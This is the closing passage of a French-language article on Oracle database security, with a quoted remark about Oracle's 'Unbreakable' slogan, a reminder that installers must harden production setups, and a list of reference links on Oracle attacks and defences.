spécialiste de la sécurité des systemes IT - a ajouté son propre commentaire : "Unbreakable"
has a meaning. It means that it can't be broken.(...) I don't care who Larry Ellison (le PDG
d'Oracle) is; he can't rewrite the dictionary. (Crypto-Gram Newsleter, 15 luty 2002,
http://www.counterpane.com/crypto-gram-0202.html#6)
Il ne faut pas oublier que c'est `a l'installateur de préparer correctement l'installation de
production. Il doit la rendre solide et supprimer la fonctionnalité superflue, suivant les
prescriptions de l'éditeur. C'est justement ces types de défauts qui constituent le plus grand
danger.
------------------------------------------------------------------------------------------
Sur le réseau
* http://echelon.pl/wojtekd - page personnelle de l'auteur - articles et présentations
concernant la sécurité d'Oracle (et pas seulement)
* http://www.ploug.org.pl/gazetka/23/11.htm -- Wojciech Dworakowski, Méthodes choisies
d'attaques sur Oracle 8i
* http://www.ploug.org.pl/gazetka/24/10.htm -- Wojciech Dworakowski, £ukasz Luzar, Attaques
SQL-injection
* http://otn.oracle.com/deploy/security/alerts.htm -- Oracle Security Alerts
* http://www.ploug.org.pl -> Gazette - dans chaque numéro (depuis 24) Bulletin de Sécurié
PLOUG
* http://www.nextgenss.com/papers/hpoas.pdf -- David Litchfield, Hackproofing Oracle
Application Server
* http://www.appsecinc.com/presentations/Protecting_Oracle_Databases_White_Paper.pdf --
Protecting Oracle Databases
* http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html - documentation du script
tnscmd
------------------------------------------------------------------------------------------
|
|
| |
| Article Rating | Average Score: 4.5
Votes: 2
| |
|
